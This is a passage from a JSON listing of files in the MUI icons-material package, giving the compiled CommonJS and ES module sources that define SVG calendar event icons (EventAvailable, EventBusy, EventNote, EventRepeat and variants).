2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V8h14v10c0 .55-.45 1-1 1\"\n}), 'EventAvailableRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventAvailableRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 10.53c-.29-.29-.77-.29-1.06 0l-4.35 4.35L9 13.29c-.29-.29-.77-.29-1.06 0s-.29.77 0 1.06l1.94 1.94c.39.39 1.02.39 1.41 0l4.7-4.7c.3-.29.3-.77.01-1.06M19 3h-1V2c0-.55-.45-1-1-1s-1 .45-1 1v1H8V2c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V8h14v10c0 .55-.45 1-1 1\"\n}), 'EventAvailableRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventAvailableSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.53 11.06 15.47 10l-4.88 4.88-2.12-2.12-1.06 1.06L10.59 17zM21 3h-3V1h-2v2H8V1H6v2H3v18h18zm-2 16H5V8h14z\"\n}), 'EventAvailableSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventAvailableSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.53 11.06 15.47 10l-4.88 4.88-2.12-2.12-1.06 1.06L10.59 17zM21 3h-3V1h-2v2H8V1H6v2H3v18h18zm-2 16H5V8h14z\"\n}), 'EventAvailableSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventAvailableTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V9h14zm0-12H5V5h14zm-2.51 4.53-1.06-1.06-4.87 4.87-2.11-2.11-1.06 1.06 3.17 3.17z\"\n}, \"1\")], 'EventAvailableTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventAvailableTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V9h14zm0-12H5V5h14zm-2.51 4.53-1.06-1.06-4.87 4.87-2.11-2.11-1.06 1.06 3.17 3.17z\"\n}, \"1\")], 'EventAvailableTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventBusy.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.31 17 2.44-2.44L14.19 17l1.06-1.06-2.44-2.44 2.44-2.44L14.19 10l-2.44 2.44L9.31 10l-1.06 1.06 2.44 2.44-2.44 2.44zM19 3h-1V1h-2v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V8h14z\"\n}), 'EventBusy');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventBusy.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.31 17 2.44-2.44L14.19 17l1.06-1.06-2.44-2.44 2.44-2.44L14.19 10l-2.44 2.44L9.31 10l-1.06 1.06 2.44 2.44-2.44 2.44zM19 3h-1V1h-2v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V8h14z\"\n}), 'EventBusy');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventBusyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V9h14zM5 7V5h14v2zm3.23 9.41 1.06 1.06 2.44-2.44 2.44 2.44 1.06-1.06-2.44-2.44 2.44-2.44-1.06-1.06-2.44 2.44-2.44-2.44-1.06 1.06 2.44 2.44z\"\n}), 'EventBusyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventBusyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V9h14zM5 7V5h14v2zm3.23 9.41 1.06 1.06 2.44-2.44 2.44 2.44 1.06-1.06-2.44-2.44 2.44-2.44-1.06-1.06-2.44 2.44-2.44-2.44-1.06 1.06 2.44 2.44z\"\n}), 'EventBusyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventBusyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.84 16.47 1.91-1.91 1.91 1.91c.29.29.77.29 1.06 0s.29-.77 0-1.06l-1.91-1.91 1.91-1.91c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0l-1.91 1.91-1.91-1.91c-.29-.29-.77-.29-1.06 0s-.29.77 0 1.06l1.91 1.91-1.91 1.91c-.29.29-.29.77 0 1.06s.77.29 1.06 0M19 3h-1V2c0-.55-.45-1-1-1s-1 .45-1 1v1H8V2c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V8h14v10c0 .55-.45 1-1 1\"\n}), 'EventBusyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventBusyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.84 16.47 1.91-1.91 1.91 1.91c.29.29.77.29 1.06 0s.29-.77 0-1.06l-1.91-1.91 1.91-1.91c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0l-1.91 1.91-1.91-1.91c-.29-.29-.77-.29-1.06 0s-.29.77 0 1.06l1.91 1.91-1.91 1.91c-.29.29-.29.77 0 1.06s.77.29 1.06 0M19 3h-1V2c0-.55-.45-1-1-1s-1 .45-1 1v1H8V2c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V8h14v10c0 .55-.45 1-1 1\"\n}), 'EventBusyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventBusySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.31 17 2.44-2.44L14.19 17l1.06-1.06-2.44-2.44 2.44-2.44L14.19 10l-2.44 2.44L9.31 10l-1.06 1.06 2.44 2.44-2.44 2.44zM21 3h-3V1h-2v2H8V1H6v2H3.01L3 21h18zm-2 16H5V8h14z\"\n}), 'EventBusySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventBusySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.31 17 2.44-2.44L14.19 17l1.06-1.06-2.44-2.44 2.44-2.44L14.19 10l-2.44 2.44L9.31 10l-1.06 1.06 2.44 2.44-2.44 2.44zM21 3h-3V1h-2v2H8V1H6v2H3.01L3 21h18zm-2 16H5V8h14z\"\n}), 'EventBusySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventBusyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V9h14zm0-12H5V5h14zM9.29 17.47l2.44-2.44 2.44 2.44 1.06-1.06-2.44-2.44 2.44-2.44-1.06-1.06-2.44 2.44-2.44-2.44-1.06 1.06 2.44 2.44-2.44 2.44z\"\n}, \"1\")], 'EventBusyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventBusyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V9h14zm0-12H5V5h14zM9.29 17.47l2.44-2.44 2.44 2.44 1.06-1.06-2.44-2.44 2.44-2.44-1.06-1.06-2.44 2.44-2.44-2.44-1.06 1.06 2.44 2.44-2.44 2.44z\"\n}, \"1\")], 'EventBusyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventNote.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10H7v2h10zm2-7h-1V1h-2v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V8h14zm-5-5H7v2h7z\"\n}), 'EventNote');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventNote.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10H7v2h10zm2-7h-1V1h-2v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V8h14zm-5-5H7v2h7z\"\n}), 'EventNote');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventNoteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V9h14zM5 7V5h14v2zm2 4h10v2H7zm0 4h7v2H7z\"\n}), 'EventNoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventNoteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V9h14zM5 7V5h14v2zm2 4h10v2H7zm0 4h7v2H7z\"\n}), 'EventNoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventNoteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 10H8c-.55 0-1 .45-1 1s.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1m3-7h-1V2c0-.55-.45-1-1-1s-1 .45-1 1v1H8V2c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V8h14v10c0 .55-.45 1-1 1m-5-5H8c-.55 0-1 .45-1 1s.45 1 1 1h5c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'EventNoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventNoteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 10H8c-.55 0-1 .45-1 1s.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1m3-7h-1V2c0-.55-.45-1-1-1s-1 .45-1 1v1H8V2c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V8h14v10c0 .55-.45 1-1 1m-5-5H8c-.55 0-1 .45-1 1s.45 1 1 1h5c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'EventNoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventNoteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10H7v2h10zm4-7h-3V1h-2v2H8V1H6v2H3v18h18zm-2 16H5V8h14zm-5-5H7v2h7z\"\n}), 'EventNoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventNoteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10H7v2h10zm4-7h-3V1h-2v2H8V1H6v2H3v18h18zm-2 16H5V8h14zm-5-5H7v2h7z\"\n}), 'EventNoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventNoteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V9h14zm0-12H5V5h14zM7 11h10v2H7zm0 4h7v2H7z\"\n}, \"1\")], 'EventNoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventNoteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V9h14zm0-12H5V5h14zM7 11h10v2H7zm0 4h7v2H7z\"\n}, \"1\")], 'EventNoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H5V10h14zm0-12H5V6h14zm-7 5h5v5h-5z\"\n}), 'EventOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H5V10h14zm0-12H5V6h14zm-7 5h5v5h-5z\"\n}), 'EventOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventRepeat.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7v-2H5V10h14v2zm-5.36 8c.43 1.45 1.77 2.5 3.36 2.5 1.93 0 3.5-1.57 3.5-3.5s-1.57-3.5-3.5-3.5c-.95 0-1.82.38-2.45 1H18V18h-4v-4h1.5v1.43c.9-.88 2.14-1.43 3.5-1.43 2.76 0 5 2.24 5 5s-2.24 5-5 5c-2.42 0-4.44-1.72-4.9-4z\"\n}), 'EventRepeat');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventRepeat.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7v-2H5V10h14v2zm-5.36 8c.43 1.45 1.77 2.5 3.36 2.5 1.93 0 3.5-1.57 3.5-3.5s-1.57-3.5-3.5-3.5c-.95 0-1.82.38-2.45 1H18V18h-4v-4h1.5v1.43c.9-.88 2.14-1.43 3.5-1.43 2.76 0 5 2.24 5 5s-2.24 5-5 5c-2.42 0-4.44-1.72-4.9-4z\"\n}), 'EventRepeat');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventRepeatOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7v-2H5V10h14v2zm-2-4H5V6h14zm-3.36 12c.43 1.45 1.77 2.5 3.36 2.5 1.93 0 3.5-1.57 3.5-3.5s-1.57-3.5-3.5-3.5c-.95 0-1.82.38-2.45 1H18V18h-4v-4h1.5v1.43c.9-.88 2.14-1.43 3.5-1.43 2.76 0 5 2.24 5 5s-2.24 5-5 5c-2.42 0-4.44-1.72-4.9-4z\"\n}), 'EventRepeatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventRepeatOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7v-2H5V10h14v2zm-2-4H5V6h14zm-3.36 12c.43 1.45 1.77 2.5 3.36 2.5 1.93 0 3.5-1.57 3.5-3.5s-1.57-3.5-3.5-3.5c-.95 0-1.82.38-2.45 1H18V18h-4v-4h1.5v1.43c.9-.88 2.14-1.43 3.5-1.43 2.76 0 5 2.24 5 5s-2.24 5-5 5c-2.42 0-4.44-1.72-4.9-4z\"\n}), 'EventRepeatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventRepeatRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12V6c0-1.1-.9-2-2-2h-1V3c0-.55-.45-1-1-1s-1 .45-1 1v1H8V3c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7v-2H5V10h14v2zm-5.87 8c-.55 0-.91.56-.68 1.06C15.23 22.79 16.97 24 19 24c2.76 0 5-2.24 5-5s-2.24-5-5-5c-1.36 0-2.6.55-3.5 1.43v-.68c0-.41-.34-.75-.75-.75s-.75.34-.75.75V17c0 .55.45 1 1 1h2.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75h-.7c.63-.62 1.5-1 2.45-1 1.93 0 3.5 1.57 3.5 3.5s-1.57 3.5-3.5 3.5c-1.42 0-2.64-.85-3.19-2.06-.12-.27-.39-.44-.68-.44\"\n}), 'EventRepeatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventRepeatRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12V6c0-1.1-.9-2-2-2h-1V3c0-.55-.45-1-1-1s-1 .45-1 1v1H8V3c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7v-2H5V10h14v2zm-5.87 8c-.55 0-.91.56-.68 1.06C15.23 22.79 16.97 24 19 24c2.76 0 5-2.24 5-5s-2.24-5-5-5c-1.36 0-2.6.55-3.5 1.43v-.68c0-.41-.34-.75-.75-.75s-.75.34-.75.75V17c0 .55.45 1 1 1h2.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75h-.7c.63-.62 1.5-1 2.45-1 1.93 0 3.5 1.57 3.5 3.5s-1.57 3.5-3.5 3.5c-1.42 0-2.64-.85-3.19-2.06-.12-.27-.39-.44-.68-.44\"\n}), 'EventRepeatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventRepeatSharp.js",
